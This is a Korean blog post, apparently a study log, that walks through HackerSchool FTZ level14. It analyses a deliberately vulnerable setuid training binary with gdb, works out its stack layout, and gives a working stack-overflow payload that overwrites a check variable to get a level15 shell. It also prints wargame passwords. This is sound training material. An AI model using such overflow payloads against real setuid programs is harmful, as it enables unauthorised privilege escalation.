[ftz] hackerschool level14 풀이

l hackerschool level14 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

login as: level14
level14@192.168.31.128's password:

 

 

 

level14 문제의 아이디인  level14 와 password인   what that nigga want? 을 입력하여 level14의 유저로 접속합니다.

 

 

 

[level14@ftz level14]$ ls -l
total 28
-rwsr-x---    1 level15  level14     13801 Dec 10  2002 attackme
-rw-r-----    1 root     level14       346 Dec 10  2002 hint
drwxr-xr-x    2 root     level14      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level14      4096 Jan 11  2009 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level14 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level14@ftz level14]$ cat hint

레벨 14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷 스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include  <stdio.h>
#include  <unistd.h>

main(){
  int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}


 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

check 변수가 0xdeadbeef일 경우 /bin/sh가 실행되는 것을 볼 수 있습니다.

 

fgets를 보고 이 문제가 버퍼오버플로우를 이용한 문제라는 것을 알 수 있습니다.

 

 

 

[level14@ftz level14]$ cp ./attackme ./tmp/level14
[level14@ftz level14]$ cd tmp
[level14@ftz tmp]$ ls -l
total 16
-rwxr-x---    1 level14  level14     13801 Nov 14 06:29 level14

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.

 

 

 

[level14@ftz tmp]$ gdb level14
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:    push   %ebp
0x08048491 <main+1>:    mov    %esp,%ebp
0x08048493 <main+3>:    sub    $0x38,%esp
0x08048496 <main+6>:    sub    $0x4,%esp
0x08048499 <main+9>:    pushl  0x8049664
0x0804849f <main+15>:   push   $0x2d
0x080484a1 <main+17>:   lea    0xffffffc8(%ebp),%eax
0x080484a4 <main+20>:   push   %eax
0x080484a5 <main+21>:   call   0x8048360  <fgets>
0x080484aa <main+26>:   add    $0x10,%esp
0x080484ad <main+29>:   cmpl   $0xdeadbeef,0xfffffff0(%ebp)
0x080484b4 <main+36>:   jne    0x80484db <main+75>
0x080484b6 <main+38>:   sub    $0x8,%esp
0x080484b9 <main+41>:   push   $0xc17
0x080484be <main+46>:   push   $0xc17
0x080484c3 <main+51>:   call   0x8048380  <setreuid>
0x080484c8 <main+56>:   add    $0x10,%esp
0x080484cb <main+59>:   sub    $0xc,%esp
0x080484ce <main+62>:   push   $0x8048548
0x080484d3 <main+67>:   call   0x8048340  <system>
0x080484d8 <main+72>:   add    $0x10,%esp
0x080484db <main+75>:   leave
---Type  to continue, or q  to quit---
0x080484dc <main+76>:   ret
0x080484dd <main+77>:   lea    0x0(%esi),%esi
End of assembler dump.

 

 

 

level14 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x08048493 <main+3>:    sub    $0x38,%esp

0x38을 10진수로 바꾸면 56입니다. 즉 56byte의 공간을 할당하는 것을 알 수 있습니다.

 

 

2. 0x080484a5 <main+21>:   call   0x8048360  <fgets>

hint 코드에서 fgets에 인자로 buf, 45, stdin이 들어가는 것을 볼 수 있습니다. 스택에 들어갈 때에는 stdin, 45, buf 순서로 들어가기 때문에 가장 마지막에 push 되는 주소가 바로 buf의 시작 지점입니다. 즉 ebp - [0xffffffc8을 2의 보수]이 buf의 시작 지점이 됩니다. f는 2의 보수를 취할 시 0이 되므로 c8만 보도록 하겠습니다.

 

11001000 => 00110111 => 00111000 => 8 + 16 + 32 = 56

ebp - 56이 buf의 시작 지점입니다.

 

 

3. 0x080484ad <main+29>:   cmpl   $0xdeadbeef,0xfffffff0(%ebp) 

cmpl은 비교 구문으로 hint 코드에서는 if문을 의미합니다. ebp - [fffffff0을 2의 보수 한 값]의 위치에 들어가 있는 값이 0xdeadbeef인지 확인하는 것입니다. fffffff0을 2의 보수 취하게 되면

 

0000 => 1111 => 10000 => 16

위와 같은 결과가 나오고 ebp - 16의 위치에 0xdeadbeef가 들어가야 합니다. 그리고 hint 코드에서 check와 비교 중이므로 check의 시작 지점이 ebp - 16이라는 것을 알 수 있습니다.

 

 

 

여기서 이제 hint 코드를 확인해보겠습니다. buf는 esp - 56에서 시작한다는 것을 알았고, check 또한 ebp - 16에서 시작한다는 것을 알았습니다. 거기에 추가적으로 check는 int형이기 때문에 ebp - 16부터 ebp - 12까지 총 4byte를 차지합니다.

 

그리고 hint 코드에서 check가 선언되기 전, crap이 선언된 것을 볼 수 있습니다. 그렇기 때문에 ebp - 12까지는 crap과 dummy가 차지한다는 것을 알 수 있고, crap 또한 int형이기 때문에 4byte를 차지하므로 나머지 8byte가 dummy라는 것을 알 수 있습니다.

 

이제 메모리 구조를 확인해보도록 하겠습니다.

 

 

 

 

그럼 이제 페이로드를 작성해보겠습니다. check의 값을 비교 후 0xdeadbeef가 맞다면 바로 셸이 실행되기 때문에 return까지 값을 채워주지 않아도 괜찮습니다. 

 

fgets 방식으로 입력하기 때문에 아래와 같은 페이로드를 사용해야 합니다.

 

 

페이로드

(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat) | ./attackme

 

 

[level14@ftz level14]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat) | ./attackme
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
my-pass
Level15 Password is "guess what".

 

 

 

id 명령을 통해 uid가 level15인 것을 알 수 있고, my-pass를 입력하여 level15의 password를 알아냈습니다.

 

 

 

l level15 비밀번호

더보기

Level15 Password is "guess what".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level16 풀이  (0) 2020.01.02
[ftz] hackerschool level15 풀이  (0) 2020.01.02
[ftz] hackerschool level13 풀이  (0) 2019.11.21
[ftz] hackerschool level12 풀이  (0) 2019.11.16
[ftz] hackerschool level11 풀이  (0) 2019.11.14

이 글을 공유하기

댓글

Designed by JB FACTORY